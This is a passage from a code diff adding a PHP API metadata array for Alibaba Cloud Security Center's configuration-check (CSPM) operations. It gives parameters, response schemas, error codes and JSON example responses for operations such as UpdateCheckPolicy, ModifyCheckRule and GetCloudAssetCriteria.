'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"CheckItems\\": [\\n {\\n \\"CheckId\\": 100000000001,\\n \\"CheckShowName\\": \\"testCheckItemName\\",\\n \\"Vendor\\": \\"ALIYUN\\",\\n \\"InstanceType\\": \\"ECS\\",\\n \\"InstanceSubType\\": \\"DISK\\",\\n \\"RiskLevel\\": \\"HIGH\\",\\n \\"Status\\": \\"EDIT\\",\\n \\"CheckPolicies\\": [\\n {\\n \\"StandardId\\": 10000000001,\\n \\"StandardShowName\\": \\"testStandardShowName\\",\\n \\"RequirementId\\": 10000000001,\\n \\"RequirementShowName\\": \\"testRequirementShowName\\",\\n \\"SectionId\\": 10000000001,\\n \\"SectionShowName\\": \\"testSectionShowName\\",\\n \\"Type\\": \\"AISPM\\"\\n }\\n ],\\n \\"Description\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"custom description.\\"\\n },\\n \\"Solution\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"test solution.\\"\\n },\\n \\"AssistInfo\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"test assistInfo.\\"\\n },\\n \\"CheckRule\\": \\"{\\\\\\"AssociatedData\\\\\\":{\\\\\\"ToDataList\\\\\\":[{\\\\\\"DataName\\\\\\":\\\\\\"ACS_ECS_Instance\\\\\\",\\\\\\"PropertyPath\\\\\\":\\\\\\"InstanceId\\\\\\",\\\\\\"FromPropertyPath\\\\\\":\\\\\\"InstanceId\\\\\\"}]},\\\\\\"MatchProperty\\\\\\":{\\\\\\"Operator\\\\\\":\\\\\\"AND\\\\\\",\\\\\\"MatchProperties\\\\\\":[{\\\\\\"DataName\\\\\\":\\\\\\"ACS_ECS_Disk\\\\\\",\\\\\\"PropertyPath\\\\\\":\\\\\\"InstanceId\\\\\\",\\\\\\"MatchOperator\\\\\\":\\\\\\"EQ\\\\\\",\\\\\\"MatchPropertyValue\\\\\\":\\\\\\"testId\\\\\\"},{\\\\\\"DataName\\\\\\":\\\\\\"ACS_ECS_Instance\\\\\\",\\\\\\"PropertyPath\\\\\\":\\\\\\"InstanceId\\\\\\",\\\\\\"MatchOperator\\\\\\":\\\\\\"EQ\\\\\\",\\\\\\"MatchPropertyValue\\\\\\":\\\\\\"testInstanceId\\\\\\"}]}}\\",\\n \\"CheckType\\": \\"SYSTEM\\",\\n \\"Remark\\": \\"remark.\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20,\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20\\n }\\n}","type":"json"}]', + 'title' => '查询自定义检查项', + ], + 'UpdateCheckPolicy' => [ + 'summary' => '在云安全态势管理自定义检查项功能中，修改检查项分类设置中的归属标准、归属条例或归属章节。', + 'path' => '', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义策略的ID。'."\n" + .'>调用[ListCheckPolicies](~~ListCheckPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1000000000001', + ], + ], + [ + 'name' => 'PolicyType', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义检查项规则的策略分类类型：'."\n" + .'- **STANDARD**：新增归属标准。'."\n" + .'- **REQUIREMENT**：新增归属条例。'."\n" + .'- **SECTION**：新增归属章节。', + 'type' => 'string', + 'required' => true, + 'example' => 'STANDARD', + ], + ], + [ + 'name' => 'PolicyShowName', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义分类的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testPolicyName', + ], + ], + [ + 'name' => 'DependentPolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '关联的上级策略ID。'."\n" + ."\n" + .'（具体的依赖关系从低到高依次为 章节->条例->标准）', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1000000000002', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '关联的策略大类的名称（PolicyType取值为STANDARD时为必填）：'."\n" + .'- **AISPM**：AI配置管理（AISPM）。'."\n" + .'- **RISK**：安全风险。'."\n" + .'- **COMPLIANCE**：合规风险。', + 'type' => 'string', + 'required' => false, + 'example' => 'AISPM', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '接口返回的消息结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + 'CheckCustomPolicy' => [ + 'description' => '自定义策略详情。', + 'type' => 'object', + 'properties' => [ + 'PolicyId' => [ + 'description' => '自定义策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100000000001', + ], + 'PolicyType' => [ + 'description' => '自定义检查项规则的策略类型：'."\n" + .'- **STANDARD**：标准策略类型。'."\n" + .'- **REQUIREMENT**：条例策略类型。'."\n" + .'- **SECTION**：章节策略类型。', + 'type' => 'string', + 'example' => 'STANDARD', + ], + 'PolicyShowName' => [ + 'description' => '自定义策略的名称。', + 'type' => 'string', + 'example' => 'testPolictName', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ParamIllegal.%s', + 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + [ + 'errorCode' => 'CspmUpdatePolicyNotExist', + 'errorMessage' => 'Update policy does not exist.', + ], + [ + 'errorCode' => 'CspmPolicyTypeNotExist', + 'errorMessage' => 'The associated check criteria does not exist.', + ], + [ + 'errorCode' => 'CspmDependentPolicyError', + 'errorMessage' => 'The associated policy %s is missing.', + ], + [ + 'errorCode' => 'CspmUpdatePolicyError', + 'errorMessage' => 'Failed to update policy.', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"CheckCustomPolicy\\": {\\n \\"PolicyId\\": 100000000001,\\n \\"PolicyType\\": \\"STANDARD\\",\\n \\"PolicyShowName\\": \\"testPolictName\\"\\n }\\n}","type":"json"}]', + 'title' => '修改自定义检查项的策略分类设置', + ], + 'GetCheckSale' => [ + 'summary' => '获取云产品配置检查售卖信息，包括：授权数、已消耗授权数等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心实例地域。取值为：'."\n" + ."\n" + .'- **cn-hangzhou：** 中国'."\n" + .'- **ap-southeast-1：** 全球（不含中国）', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', + ], + 'CheckSale' => [ + 'description' => '云产品配置检查售卖信息。', + 'type' => 'object', + 'properties' => [ + 'PurchaseCount' => [ + 'title' => '购买授权数', + 'description' => '购买授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1000', + ], + 'ConsumeCount' => [ + 'title' => '消耗授权数', + 'description' => '消耗授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '500', + ], + 'LoyalUser' => [ + 'title' => '是否为存量用户', + 'description' => '是否为存量用户，售卖功能发布（2023年07月07日）之前，是否使用云产品配置检查功能的用户。取值：'."\n" + .'- **true**：存量用户'."\n" + .'- **false**：非存量用户', + 'type' => 'boolean', + 'example' => 'true', + ], + 'SaleUserType' => [ + 'title' => '售卖用户类型：1=全功能用户，2=需要升级用户，3=需要购买用户', + 'description' => '售卖用户类型。取值：'."\n" + .'- **1**：全功能用户，可以使用所有的检查项'."\n" + .'- **2**：需要升级用户，只能使用售卖功能发布（2023年07月07日）之前的检查项'."\n" + .'- **3**：需要购买用户，不能使用云产品配置检查功能', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\",\\n \\"CheckSale\\": {\\n \\"PurchaseCount\\": 1000,\\n \\"ConsumeCount\\": 500,\\n \\"LoyalUser\\": true,\\n \\"SaleUserType\\": 1\\n }\\n}","type":"json"}]', + 'title' => '获取云产品配置检查售卖信息', + ], + 'ModifyCheckRule' => [ + 'summary' => '修改云安全态势管理的规则设置。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '230334', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用[ListCheckRule](~~2590599~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '9000**', + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。默认**WHITE**。取值：'."\n" + .'- **WHITE**：加白名单', + 'type' => 'string', + 'required' => false, + 'example' => 'WHITE', + ], + ], + [ + 'name' => 'AddInstanceList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '本次规则更新需要添加的实例列表，如果没有需要添加的实例可以不用传递此参数。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '资产的地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-shanghai', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-wz9g8ljygfqs1ez3****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'DeleteInstanceList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '本次规则更新需要删除的实例列表，如果没有需要添加的实例可以不用传递此参数。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '资产的地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-shanghai', + ], + 'InstanceId' => [ + 'description' => '资产的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-8vb0e8qdaj0yyxjo****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注。', + 'type' => 'string', + 'required' => false, + 'example' => 'testRemark', + ], + ], + [ + 'name' => 'ScopeType', + 'in' => 'query', + 'schema' => [ + 'description' => '修改规则的生效范围：'."\n" + .'- **INSTNACE** ：实例'."\n" + .'- **ITEM**：检查项', + 'type' => 'string', + 'required' => false, + 'example' => 'INSTANCE', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回的消息体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CD380235-A0B8-540D-A0D5-D6288446****', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'string', + 'example' => '123', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D6288446****\\",\\n \\"RuleId\\": \\"123\\"\\n}","type":"json"}]', + 'title' => '修改云安全态势管理的检查规则', + ], + 'VerifyCheckInstanceResult' => [ + 'summary' => '检查项下实例维度验证。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'paid', + 'abilityTreeCode' => '119344', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项影响资产的实例ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项影响资产的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-2ze3a5ws0mjvqwqr****', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'TaskSource', + 'in' => 'query', + 'schema' => [ + 'description' => '任务来源。取值：'."\n" + ."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + ], + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '11', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'VerifyCheckInstanceResultResponse', + 'description' => '响应体。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'OperateCode' => [ + 'description' => '云产品配置检测任务操作码。取值：'."\n" + ."\n" + .'- **Throttling**：频率限制'."\n" + .'- **ActionTrialUnauthorized**：未授权错误', + 'type' => 'string', + 'example' => 'ActionTrialUnauthorized', + ], + 'FailInstances' => [ + 'description' => '检查失败的实例列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查失败的实例。', + 'type' => 'string', + 'example' => 'i-2ze3a5ws0mjvqwqr****', + ], + ], + 'TaskId' => [ + 'description' => '任务ID。', + 'type' => 'string', + 'example' => 'a410bb3-e68c217a-3368bc0-238c668***', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B869E3A0-1147-539D-9920-47580700****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"OperateCode\\": \\"ActionTrialUnauthorized\\",\\n \\"FailInstances\\": [\\n \\"i-2ze3a5ws0mjvqwqr****\\"\\n ],\\n \\"TaskId\\": \\"a410bb3-e68c217a-3368bc0-238c668***\\"\\n },\\n \\"RequestId\\": \\"B869E3A0-1147-539D-9920-47580700****\\"\\n}","type":"json"}]', + 'title' => '检查项下实例维度验证', + ], + 'VerifyCheckResult' => [ + 'summary' => '检查项维度验证。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'paid', + 'abilityTreeCode' => '119338', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '25', + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + [ + 'name' => 'TaskSource', + 'in' => 'query', + 'schema' => [ + 'description' => '任务来源。取值：'."\n" + ."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项资产的实例ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的云产品实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf6j8vq9l4r5ntht****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'VerifyCheckResultResponse', + 'description' => '响应体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7C0A3FA0-AA32-5660-8989-85A5582F****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'OperateCode' => [ + 'description' => '云产品配置检测任务操作码。取值：'."\n" + ."\n" + .'- **Throttling**：频率限制'."\n" + .'- **ActionTrialUnauthorized**：未授权错误', + 'type' => 'string', + 'example' => 'Throttling', + ], + 'ThrottlingTimeSecond' => [ + 'description' => '频率限制时长。单位：秒。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1800', + ], + 'TaskId' => [ + 'description' => '任务ID。', + 'type' => 'string', + 'example' => '8eded533-5348-468c-aa1d-0aa2934a7***', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7C0A3FA0-AA32-5660-8989-85A5582F****\\",\\n \\"Data\\": {\\n \\"OperateCode\\": \\"Throttling\\",\\n \\"ThrottlingTimeSecond\\": 1800,\\n \\"TaskId\\": \\"8eded533-5348-468c-aa1d-0aa2934a7***\\"\\n }\\n}","type":"json"}]', + 'title' => '检查项维度验证', + ], + 'GetCloudAssetCriteria' => [ + 'summary' => '获取云资产列表查询条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '查询云资产时输入的模糊匹配值。', + 'type' => 'string', + 'required' => false, + 'example' => 'testwww', + ], + ], + [ + 'name' => 'CloudAssetTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云资产的资产类型信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云资产的资产类型信息。', + 'type' => 'object', + 'properties' => [ + 'AssetType' => [ + 'description' => '资产的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '9', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。'."\n" + .'资产的类型-子类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS '."\n" + .' * **1**：磁盘（存储）'."\n" + .' * **2**：安全组'."\n" + .' * **100**：实例'."\n" + .'- **1**：负载均衡'."\n" + .' * **0**：负载均衡'."\n" + .' * **1**：应用型负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .' * **0**：实例'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .' * **0**：实例'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .' * **0**：实例'."\n" + .'- **6**：容器镜像服务'."\n" + .' * **1**：企业版'."\n" + .' * **2**：个人版'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .' * **0**：集群'."\n" + .'- **9**：专有网络VPC'."\n" + .' * **0**：NAT网关'."\n" + .' * **1**：EIP'."\n" + .' * **2**：VPN'."\n" + .' * **3**：FLOW_LOG'."\n" + .'- **11**：操作审计'."\n" + .' * **0**：跟踪'."\n" + .'- **12**：CDN'."\n" + .' * **0**：实例'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .' * **0**：证书'."\n" + .'- **14**：云效'."\n" + .' * **0**：组织'."\n" + .'- **16**：DDoS防护'."\n" + .' * **0**：实例'."\n" + .'- **17**：Web应用防火墙'."\n" + .' * **0**：域名'."\n" + .'- **18**：对象存储'."\n" + .' * **0**：Bucket'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .' * **0**：集群'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .' * **0**：实例'."\n" + .'- **21**：微服务引擎'."\n" + .' * **0**：集群'."\n" + .'- **22**：文件存储NAS'."\n" + .' * **0**：文件系统'."\n" + .'- **23**：数据安全中心'."\n" + .' * **0**：实例'."\n" + .'- **24**：弹性公网IP'."\n" + .' * **0**：任播弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .' * **0**：实例'."\n" + .'- **26**：PolarDB-X'."\n" + .' * **0**：实例'."\n" + .'- **27**：Elasticsearch'."\n" + .' * **0**：实例', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'CriteriaList' => [ + 'description' => '云产品资产支持检索项信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云产品资产支持检索项信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + ."\n" + .'- **input**：需要手动输入查询字段。'."\n" + .'- **select**：需要从下拉列表中选择查询条件的子类型。', + 'type' => 'string', + 'example' => 'select', + ], + 'Name' => [ + 'description' => '查询条件的名称。'."\n" + ."\n" + .'- **instanceId**：实例ID。'."\n" + .'- **instanceName**：实例名称。'."\n" + .'- **internetIp**：公网IP。'."\n" + .'- **riskStatus**：风险状态。'."\n" + .'- **vendorRegionId**：按厂商分类RegionId。', + 'type' => 'string', + 'example' => 'instanceId', + ], + 'Values' => [ + 'description' => '**Type**（查询条件的类型）为**select**（选择型）时，可选项的值。'."\n" + .'> **Type**（查询条件的类型）为**input**（输入型）时，该参数返回值为空。', + 'type' => 'string', + 'example' => 'fvt*', + ], + 'MultiValues' => [ + 'description' => '输入的模糊匹配值对应的资产的具体结构化属性值。JSON格式，包含以下字段：'."\n" + ."\n" + .'- **vendor**：供应商'."\n" + .'- **regionIds**：支持地域', + 'type' => 'string', + 'example' => '[{"vendor":0,"regionIds":{"default":["ap-southeast-1","ap-northeast-2","ap-southeast-3","ap-southeast-5","ap-southeast-7","me-central-1"]}},{"vendor":1,"regionIds":{"default":["outside-of-aliyun"]}}]', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"instanceId\\",\\n \\"Values\\": \\"fvt*\\",\\n \\"MultiValues\\": \\"[{\\\\\\"vendor\\\\\\":0,\\\\\\"regionIds\\\\\\":{\\\\\\"default\\\\\\":[\\\\\\"ap-southeast-1\\\\\\",\\\\\\"ap-northeast-2\\\\\\",\\\\\\"ap-southeast-3\\\\\\",\\\\\\"ap-southeast-5\\\\\\",\\\\\\"ap-southeast-7\\\\\\",\\\\\\"me-central-1\\\\\\"]}},{\\\\\\"vendor\\\\\\":1,\\\\\\"regionIds\\\\\\":{\\\\\\"default\\\\\\":[\\\\\\"outside-of-aliyun\\\\\\"]}}]\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取云资产列表查询条件', + ], + 'RemoveCheckResultWhiteList' => [ + 'summary' => '取消云平台配置检查检测项加入白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '119348', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckGroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '已废弃。', + 'type' => 'string', + 'required' => false, + 'example' => 'Deprecated', + ], + ], + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项ID列表。', + 'type' => 'array', + 'items' => 